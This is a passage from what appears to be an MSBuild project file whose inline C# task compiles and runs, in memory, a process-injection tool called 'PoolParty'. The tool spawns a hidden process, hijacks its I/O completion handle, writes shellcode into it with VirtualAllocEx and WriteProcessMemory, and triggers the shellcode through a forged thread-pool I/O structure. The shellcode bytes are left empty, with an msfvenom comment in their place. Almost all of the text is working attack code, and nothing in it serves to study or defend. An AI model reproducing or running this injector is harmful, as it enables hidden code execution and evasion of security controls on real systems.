[FieldOffset(368)] public _RTL_SRWLOCK ShutdownLock;
|
|
[FieldOffset(376)] public uint ShutdownInitiated;
|
|
[FieldOffset(380)] public uint Released;
|
|
[FieldOffset(384)] public ushort PoolFlags;
|
|
[FieldOffset(386)] public int PADDING2;
|
|
[FieldOffset(390)] public _LIST_ENTRY PoolLinks;
|
|
[FieldOffset(406)] public _TPP_CALLER AllocCaller;
|
|
[FieldOffset(414)] public _TPP_CALLER ReleaseCaller;
|
|
[FieldOffset(422)] public volatile int AvailableWorkerCount;
|
|
[FieldOffset(426)] public volatile int LongRunningWorkerCount;
|
|
[FieldOffset(430)] public uint LastProcCount;
|
|
[FieldOffset(434)] public volatile int NodeStatus;
|
|
[FieldOffset(438)] public volatile int BindingCount;
|
|
[FieldOffset(442)] public uint CallbackChecksDisabled;
|
|
[FieldOffset(446)] public uint TrimTarget;
|
|
[FieldOffset(450)] public uint TrimmedThrdCount;
|
|
[FieldOffset(454)] public uint SelectedCpuSetCount;
|
|
[FieldOffset(458)] public int PADDING3;
|
|
[FieldOffset(462)] public IntPtr TrimComplete;
|
|
[FieldOffset(470)] public _LIST_ENTRY TrimmedWorkerList;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct _TPP_CALLER
|
|
{
|
|
[FieldOffset(0)] public IntPtr ReturnAddress;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 200)]
|
|
public unsafe struct _TPP_CLEANUP_GROUP_MEMBER
|
|
{
|
|
[FieldOffset(0)] public _TPP_REFCOUNT Refcount;
|
|
[FieldOffset(4)] public int PADDING1;
|
|
[FieldOffset(8)] public IntPtr VFuncs;
|
|
[FieldOffset(16)] public IntPtr CleanupGroup;
|
|
[FieldOffset(24)] public IntPtr CleanupGroupCancelCallback;
|
|
[FieldOffset(32)] public IntPtr FinalizationCallback;
|
|
[FieldOffset(40)] public _LIST_ENTRY CleanupGroupMemberLinks;
|
|
[FieldOffset(56)] public _TPP_BARRIER CallbackBarrier;
|
|
[FieldOffset(80)] public CallbackUnion callbackUnion;
|
|
[FieldOffset(88)] public IntPtr Context;
|
|
[FieldOffset(96)] public IntPtr ActivationContext;
|
|
[FieldOffset(104)] public IntPtr SubProcessTag;
|
|
[FieldOffset(112)] public _GUID ActivityId;
|
|
[FieldOffset(128)] public _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket;
|
|
[FieldOffset(136)] public IntPtr RaceDll;
|
|
[FieldOffset(144)] public IntPtr Pool;
|
|
[FieldOffset(152)] public _LIST_ENTRY PoolObjectLinks;
|
|
[FieldOffset(168)] public FlagUnion flagUnion;
|
|
[FieldOffset(172)] public int PADDING2;
|
|
[FieldOffset(176)] public _TPP_CALLER AllocCaller;
|
|
[FieldOffset(184)] public _TPP_CALLER ReleaseCaller;
|
|
[FieldOffset(192)] public _TP_CALLBACK_PRIORITY CallbackPriority;
|
|
[FieldOffset(196)] public fixed int PADDING3[1];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 16)]
|
|
public struct _TP_TASK_CALLBACKS
|
|
{
|
|
[FieldOffset(0)] public IntPtr ExecuteCallback;
|
|
[FieldOffset(8)] public IntPtr Unposted;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 16)]
|
|
public struct _LIST_ENTRY
|
|
{
|
|
[FieldOffset(0)] public IntPtr fLink;
|
|
[FieldOffset(8)] public IntPtr bLink;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 32)]
|
|
public unsafe struct _TP_TASK
|
|
{
|
|
[FieldOffset(0)] public IntPtr Callbacks;
|
|
[FieldOffset(8)] public uint NumaNode;
|
|
[FieldOffset(12)] public byte IdealProcessor;
|
|
[FieldOffset(13)] public fixed byte PADDING[3];
|
|
[FieldOffset(16)] public _LIST_ENTRY ListEntry;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 72)]
|
|
public unsafe struct _TP_DIRECT
|
|
{
|
|
[FieldOffset(0)] public _TP_TASK Task;
|
|
[FieldOffset(32)] public ulong Lock;
|
|
[FieldOffset(40)] public _LIST_ENTRY IoCompletionInformationList;
|
|
[FieldOffset(56)] public IntPtr Callback;
|
|
[FieldOffset(64)] public uint NumaNode;
|
|
[FieldOffset(68)] public byte IdealProcessor;
|
|
[FieldOffset(69)] public fixed byte PADDING[3];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 288)]
|
|
public unsafe struct FULL_TP_IO
|
|
{
|
|
[FieldOffset(0)] public _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
|
|
[FieldOffset(200)] public _TP_DIRECT Direct;
|
|
[FieldOffset(272)] public IntPtr File;
|
|
[FieldOffset(280)] public volatile int PendingIrpCount;
|
|
[FieldOffset(284)] public fixed int PADDING[1];
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct IO_STATUS_UNION
|
|
{
|
|
[FieldOffset(0)] public uint Status;
|
|
[FieldOffset(0)] public IntPtr Pointer;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 16)]
|
|
public struct IO_STATUS_BLOCK
|
|
{
|
|
[FieldOffset(0)] public IO_STATUS_UNION StatusUnion;
|
|
[FieldOffset(8)] public IntPtr Information;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 16)]
|
|
public struct FILE_COMPLETION_INFORMATION
|
|
{
|
|
[FieldOffset(0)] public IntPtr Port;
|
|
[FieldOffset(8)] public IntPtr Key;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct TP_CALLBACK_INSTANCE
|
|
{
|
|
[FieldOffset(0)] public IntPtr instance;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 8)]
|
|
public struct TP_IO
|
|
{
|
|
[FieldOffset(0)] public IntPtr instance;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit, Size = 48)]
|
|
public unsafe struct TP_WIN32_IO_CALLBACK
|
|
{
|
|
[FieldOffset(0)] public IntPtr Instance;
|
|
[FieldOffset(8)] public IntPtr Context;
|
|
[FieldOffset(16)] public IntPtr Overlapped;
|
|
[FieldOffset(24)] public ulong IoResult;
|
|
[FieldOffset(32)] public IntPtr NumberOfBytesTransferred;
|
|
[FieldOffset(40)] public IntPtr Io;
|
|
}
|
|
|
|
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
|
|
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
|
|
|
[DllImport(""ntdll.dll"", ExactSpelling = true)]
|
|
public static extern unsafe uint NtQueryInformationProcess(IntPtr pHandle, PROCESSINFOCLASS pInfoClass, IntPtr pInfo, ulong pInfoLen, ref ulong retLen);
|
|
|
|
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
|
|
public static extern unsafe bool DuplicateHandle(IntPtr hSourceProcHandle, IntPtr hSourceHandle, IntPtr hTargetProcHandle, ref IntPtr lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, DUPLICATE_HANDLE_OPTIONS dwOptions);
|
|
|
|
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Ansi)]
|
|
public static extern unsafe IntPtr CreateFileW([MarshalAs(UnmanagedType.LPWStr)]string lpFileName, uint dwDesiredAccess, FILE_SHARE_MODE dwShareMode, IntPtr lpSecurityAttributes, FILE_CREATION_DISPOSITION dwCreationDisposition, FILE_FLAGS_AND_ATTRIBUTES dwFlagsAndAttributes, IntPtr hTemplateFile);
|
|
|
|
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
|
|
public static extern unsafe IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
|
|
|
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Ansi)]
|
|
public static extern unsafe IntPtr CreateThreadpoolIo(IntPtr hFile, TP_WIN32_IO_CALLBACK* pInfo, IntPtr pContext, IntPtr pCallbackEnviron);
|
|
|
|
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
|
|
public static extern unsafe bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
|
|
|
|
[DllImport(""ntdll.dll"", ExactSpelling = true, SetLastError = true)]
|
|
public static extern unsafe uint NtSetInformationFile(IntPtr hFile, IO_STATUS_BLOCK* IoStatusBlock, FILE_COMPLETION_INFORMATION* FileInformation, ulong Length, FILE_INFORMATION_CLASS FileInformationClass);
|
|
|
|
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
|
|
public static extern unsafe bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint dwNumberOfBytesToWrite, out IntPtr lpNumberOfBytesWritten, ref NativeOverlapped lpOverlapped);
|
|
|
|
[DllImport(""msvcrt.dll"", CallingConvention = CallingConvention.Cdecl)]
|
|
public static extern IntPtr realloc(IntPtr ptr, ulong size);
|
|
|
|
[DllImport(""kernel32.dll"")]
|
|
public static extern IntPtr GetCurrentProcess();
|
|
|
|
[DllImport(""ntdll.dll"", ExactSpelling = true)]
|
|
public static extern unsafe uint NtQueryObject(IntPtr handle, _OBJECT_INFORMATION_CLASS objInfoClass, IntPtr objectInfo, ulong objectInfoLen, ref ulong retLen);
|
|
|
|
[DllImport(""kernel32.dll"", SetLastError = true, CharSet = CharSet.Ansi)]
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
|
|
|
[DllImport(""kernel32.dll"")]
|
|
public static extern void Sleep(uint dwMilliseconds);
|
|
|
|
public static unsafe IntPtr NtQueryObjectImpl(IntPtr handle, _OBJECT_INFORMATION_CLASS objInfoClass)
|
|
{
|
|
IntPtr info = IntPtr.Zero;
|
|
ulong infoLen = 0;
|
|
uint ntStatus = 0xC0000004;
|
|
|
|
do
|
|
{
|
|
info = realloc(info, infoLen);
|
|
ntStatus = NtQueryObject(handle, objInfoClass, info, infoLen, ref infoLen);
|
|
} while (0xC0000004 == ntStatus);
|
|
return info;
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
public static unsafe PROCESS_HANDLE_SNAPSHOT_INFORMATION GetProcessHandleSnapshotInformation(IntPtr info)
|
|
{
|
|
_PROCESS_HANDLE_SNAPSHOT_INFORMATION* snapshotInfoPtr = (_PROCESS_HANDLE_SNAPSHOT_INFORMATION*)info;
|
|
int handlesSize = (int)snapshotInfoPtr->NumberOfHandles.ToInt64() * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO);
|
|
if (handlesSize >= Int32.MaxValue | handlesSize <= 0)
|
|
{
|
|
Console.WriteLine(""[-] ERROR: Array size is too big, most likely due to NumberOfHandles being incorrect or improper access of target process. Aborting handle hijacking.."");
|
|
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION();
|
|
}
|
|
PROCESS_HANDLE_TABLE_ENTRY_INFO[] handles = new PROCESS_HANDLE_TABLE_ENTRY_INFO[handlesSize];
|
|
for (int i = 0; i < handlesSize; i++)
|
|
{
|
|
IntPtr handlePtr = new IntPtr(&snapshotInfoPtr->Handles[i]);
|
|
try
|
|
{
|
|
handles[i] = Marshal.PtrToStructure<PROCESS_HANDLE_TABLE_ENTRY_INFO>(handlePtr);
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
handles[i] = new PROCESS_HANDLE_TABLE_ENTRY_INFO();
|
|
}
|
|
}
|
|
|
|
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
{
|
|
NumberOfHandles = snapshotInfoPtr->NumberOfHandles,
|
|
Reserved = snapshotInfoPtr->Reserved,
|
|
Handles = handles
|
|
};
|
|
}
|
|
|
|
|
|
public static unsafe IntPtr HijackIOCompletionHandle(IntPtr tProcHandle)
|
|
{
|
|
IntPtr info = IntPtr.Zero;
|
|
ulong infoLen = 0;
|
|
uint ntStatus = 0xC0000004;
|
|
|
|
do
|
|
{
|
|
info = realloc(info, infoLen);
|
|
ntStatus = NtQueryInformationProcess(tProcHandle, PROCESSINFOCLASS.ProcessHandleInformation, info, infoLen, ref infoLen);
|
|
} while (0xC0000004 == ntStatus);
|
|
|
|
PROCESS_HANDLE_SNAPSHOT_INFORMATION procHandleInfo = GetProcessHandleSnapshotInformation(info);
|
|
|
|
for (int i = 0; i < procHandleInfo.Handles.Length; i++)
|
|
{
|
|
IntPtr duplicatedObject = IntPtr.Zero;
|
|
PROCESS_HANDLE_TABLE_ENTRY_INFO procHandleTable = procHandleInfo.Handles[i];
|
|
IntPtr procHandleValue = procHandleTable.HandleValue;
|
|
bool duped = DuplicateHandle(tProcHandle, procHandleValue, GetCurrentProcess(), ref duplicatedObject, (uint)WORKER_ACCESS_RIGHTS.WORKER_FACTORY_ALL_ACCESS, false, (DUPLICATE_HANDLE_OPTIONS)IntPtr.Zero);
|
|
if (!duped)
|
|
{
|
|
int error = Marshal.GetLastWin32Error();
|
|
continue;
|
|
}
|
|
IntPtr pObjectInfo = IntPtr.Zero;
|
|
pObjectInfo = NtQueryObjectImpl(duplicatedObject, _OBJECT_INFORMATION_CLASS.ObjectTypeInformation);
|
|
_PUBLIC_OBJECT_TYPE_INFORMATION* pObjTypeInfo = (_PUBLIC_OBJECT_TYPE_INFORMATION*)pObjectInfo;
|
|
if (!""IoCompletion"".Equals(pObjTypeInfo->TypeName.ToString()))
|
|
{
|
|
continue;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[+] Found the 'IoCompletion' type for the target process!"");
|
|
}
|
|
|
|
return duplicatedObject;
|
|
}
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
public static int CreateTargetProcess(string name)
|
|
{
|
|
Console.WriteLine(""[*] DEBUG - Creating target process ("" + name + "")"");
|
|
STARTUPINFO si = new STARTUPINFO();
|
|
si.wShowWindow = SW_HIDE;
|
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
|
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
|
bool res = CreateProcess(null, name, IntPtr.Zero, IntPtr.Zero, false, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, null, ref si, out pi);
|
|
if (res)
|
|
{
|
|
Console.WriteLine(""[*] DEBUG - Process created with PID = {0:d}"", pi.dwProcessId);
|
|
return pi.dwProcessId;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[*] DEBUG - Failed to create process with error code 0x{0:X16}"", Marshal.GetLastWin32Error());
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
public static string[] ValidateCandidates()
|
|
{
|
|
ArrayList candidates = new ArrayList();
|
|
foreach (string candidate in CandidatesToCheck)
|
|
{
|
|
if (File.Exists(candidate))
|
|
{
|
|
candidates.Add(candidate);
|
|
}
|
|
}
|
|
return (string[])candidates.ToArray(typeof(string));
|
|
}
|
|
|
|
public static string PickCandidate(string[] candidates)
|
|
{
|
|
Random rnd = new Random();
|
|
int rndIdx = rnd.Next(0, candidates.Length);
|
|
return candidates[rndIdx];
|
|
}
|
|
|
|
public static string GenerateFN(int len)
|
|
{
|
|
Random rnd = new Random();
|
|
string alpha = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"";
|
|
StringBuilder s = new StringBuilder(len);
|
|
for (int i = 0; i < len; i++)
|
|
{
|
|
s.Append(alpha[rnd.Next(alpha.Length)]);
|
|
}
|
|
return s.ToString();
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
public static unsafe void Setup(IntPtr tProcHandle)
|
|
{
|
|
IntPtr tIoCompletionHandle = HijackIOCompletionHandle(tProcHandle);
|
|
if (tIoCompletionHandle == IntPtr.Zero)
|
|
{
|
|
Console.WriteLine(""[-] Failed to get a handle to target proc's worker factory."");
|
|
return;
|
|
}
|
|
Console.WriteLine(""[+] Got handle to target proc's I/O completion queue - (0x{0:X16})"", tIoCompletionHandle.ToInt64());
|
|
|
|
string fn = GenerateFN(7);
|
|
IntPtr hFile = CreateFileW(fn, GENERIC_WRITE, FILE_SHARE_MODE.FILE_SHARE_READ | FILE_SHARE_MODE.FILE_SHARE_WRITE, IntPtr.Zero, FILE_CREATION_DISPOSITION.CREATE_ALWAYS, FILE_FLAGS_AND_ATTRIBUTES.FILE_ATTRIBUTE_NORMAL | FILE_FLAGS_AND_ATTRIBUTES.FILE_FLAG_OVERLAPPED, IntPtr.Zero);
|
|
Console.WriteLine(""[+] File created with name = {0:s}"", fn);
|
|
|
|
byte[] sc = new byte[] {/* msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp */};
|
|
uint scSize = (uint)sc.Length;
|
|
|
|
IntPtr scAddr = VirtualAllocEx(tProcHandle, IntPtr.Zero, scSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (scAddr == IntPtr.Zero)
|
|
{
|
|
Console.WriteLine(""[-] Failed to allocate shellcode memory."");
|
|
int win32Err = Marshal.GetLastWin32Error();
|
|
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[+] Allocated shellcode memory - 0x{0:X16}"", scAddr.ToInt64());
|
|
}
|
|
|
|
IntPtr bytesWritten = IntPtr.Zero;
|
|
bool writeRes;
|
|
fixed (byte* p = sc)
|
|
{
|
|
IntPtr ptr = (IntPtr)p;
|
|
writeRes = WriteProcessMemory(tProcHandle, scAddr, ptr, scSize, out bytesWritten);
|
|
}
|
|
|
|
if (!writeRes)
|
|
{
|
|
Console.WriteLine(""[-] Failed to write shellcode to allocated memory."");
|
|
int win32Err = Marshal.GetLastWin32Error();
|
|
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[+] Shellcode written to allocated memory. bytesWritten = "" + bytesWritten);
|
|
}
|
|
|
|
IntPtr pTpIoPtr = CreateThreadpoolIo(hFile, (TP_WIN32_IO_CALLBACK*)scAddr, IntPtr.Zero, IntPtr.Zero);
|
|
FULL_TP_IO* pTpIo = (FULL_TP_IO*)pTpIoPtr;
|
|
if (pTpIo == null || pTpIoPtr == IntPtr.Zero)
|
|
{
|
|
Console.WriteLine(""[-] Failed to create ThreadPoolIo."");
|
|
int win32Err = Marshal.GetLastWin32Error();
|
|
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[+] Created thread pool I/O - 0x{0:X16}"", new IntPtr(pTpIo).ToInt64());
|
|
}
|
|
|
|
pTpIo->CleanupGroupMember.callbackUnion.Callback = scAddr;
|
|
pTpIo->PendingIrpCount++;
|
|
|
|
IntPtr pRemoteTpIoPtr = VirtualAllocEx(tProcHandle, IntPtr.Zero, (uint)sizeof(FULL_TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (pRemoteTpIoPtr == IntPtr.Zero)
|
|
{
|
|
Console.WriteLine(""[-] Failed to allocate remote TP_IO."");
|
|
int win32Err = Marshal.GetLastWin32Error();
|
|
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[+] Allocated memory for remote TP_IO - 0x{0:X16}"", pRemoteTpIoPtr.ToInt64());
|
|
}
|
|
|
|
bytesWritten = IntPtr.Zero;
|
|
bool writeTpIoRes = WriteProcessMemory(tProcHandle, pRemoteTpIoPtr, pTpIoPtr, (uint)sizeof(FULL_TP_IO), out bytesWritten);
|
|
if (!writeTpIoRes)
|
|
{
|
|
Console.WriteLine(""[-] Failed to write crafted TP_IO to allocated memory."");
|
|
int win32Err = Marshal.GetLastWin32Error();
|
|
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[+] Wrote the crafted TP_IO struct to the allocated memory, bytesWritten = "" + bytesWritten);
|
|
}
|
|
|
|
IO_STATUS_BLOCK IoStatusBlock = new IO_STATUS_BLOCK();
|
|
FILE_COMPLETION_INFORMATION FileIoCompletionInformation = new FILE_COMPLETION_INFORMATION() { };
|
|
Console.WriteLine(""[*] DEBUG - Crafting FileIoCompletionInformation."");
|
|
FileIoCompletionInformation.Port = tIoCompletionHandle;
|
|
IntPtr pRemoteTpIoDirect = new IntPtr(pRemoteTpIoPtr.ToInt64() + 0xC8);
|
|
FileIoCompletionInformation.Key = pRemoteTpIoDirect;
|
|
uint status = NtSetInformationFile(hFile, &IoStatusBlock, &FileIoCompletionInformation, (ulong)sizeof(FILE_COMPLETION_INFORMATION), FILE_INFORMATION_CLASS.FileReplaceCompletionInformation);
|
|
if (status == 0)
|
|
{
|
|
Console.WriteLine(""[+] Associated the created file with I/O Completion Queue of target proc worker factory."");
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine(""[-] Failed to associate the created file with I/O Completion Queue of target proc worker factory."");
|
|
Console.WriteLine(""[-] NTSTATUS = 0x{0:X16}"", status);
|
|
int win32Err = Marshal.GetLastWin32Error();
|
|
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
|
|
return;
|
|
}
|
|
|
|
byte[] op = new byte[] { 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef };
|
|
int opSize = op.Length;
|
|
IntPtr opBytesWritten = IntPtr.Zero;
|
|
NativeOverlapped overlapped = new NativeOverlapped();
|
|
bool writeDet = WriteFile(hFile, op, (uint)opSize, out opBytesWritten, ref overlapped);
|
|
if (!writeDet)
|
|
{
|
|
int win32Err = Marshal.GetLastWin32Error();
|
|
if (win32Err == 0x000003E5)
|
|
{
|
|
Console.WriteLine(""[+] Async write to file is pending; payload should still detonate."");
|
|
} else
|
|
{
|
|
Console.WriteLine(""[-] Failed to write detonation bytes to file."");
|
|
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
|
|
return;
|
|
}
|
|
} else
|
|
{
|
|
Console.WriteLine(""[+] Successfully wrote detonation bytes to file. opBytesWritten = "" + opBytesWritten);
|
|
}
|
|
}
|
|
|
|
public static void Main()
|
|
{
|
|
string[] cands = ValidateCandidates();
|
|
int pid = CreateTargetProcess(PickCandidate(cands));
|
|
Sleep(1000);
|
|
uint targetAccess = (uint)(PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ | PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION | PROCESS_ACCESS_RIGHTS.PROCESS_DUP_HANDLE | PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION);
|
|
IntPtr tProcHandle = OpenProcess(targetAccess, false, pid);
|
|
if (tProcHandle == IntPtr.Zero)
|
|
{
|
|
int err = Marshal.GetLastWin32Error();
|
|
switch (err)
|
|
{
|
|
case 5:
|
|
Console.WriteLine(""[-] ERROR: Access denied for target process. PoolParty failed."");
|
|
break;
|
|
default:
|
|
Console.WriteLine(""[-] ERROR: Win32 API returned an error code (0x{0:X16}) - refer to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55"", err);
|
|
break;
|
|
}
|
|
return;
|
|
}
|
|
Console.WriteLine(""[+] Got handle to target proc - (0x{0:X16})"", tProcHandle.ToInt64());
|
|
Setup(tProcHandle);
|
|
}
|
|
}
|
|
}";
|
|
Assembly a = Builder.Build(source);
|
|
Type hw = a.GetType("Pool.Party");
|
|
MethodInfo main = hw.GetMethod("Main");
|
|
main.Invoke(null, null);
|
|
return true;
|
|
|
|
}
|
|
}
|
|
public class Builder
|
|
{
|
|
|
|
public static Assembly Build(string SourceString)
|
|
{
|
|
CSharpCodeProvider codeProvider = new CSharpCodeProvider();
|
|
|
|
|
|
System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();
|
|
parameters.GenerateInMemory = true;
|
|
parameters.CompilerOptions = @"/unsafe";
|
|
System.CodeDom.Compiler.CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters,SourceString);
|
|
|
|
Assembly a = results.CompiledAssembly;
|
|
if(a != null) return a;
|
|
else
|
|
{
|
|
Assembly nullAssembly = Assembly.GetExecutingAssembly();
|
|
Console.WriteLine("Null Assembly");
|
|
return nullAssembly;
|
|
}
|
|
}
|
|
}
|
|
]]>
|
|
</Code>
|
|
</Task>
|
|
</UsingTask>
|
|
</Project> |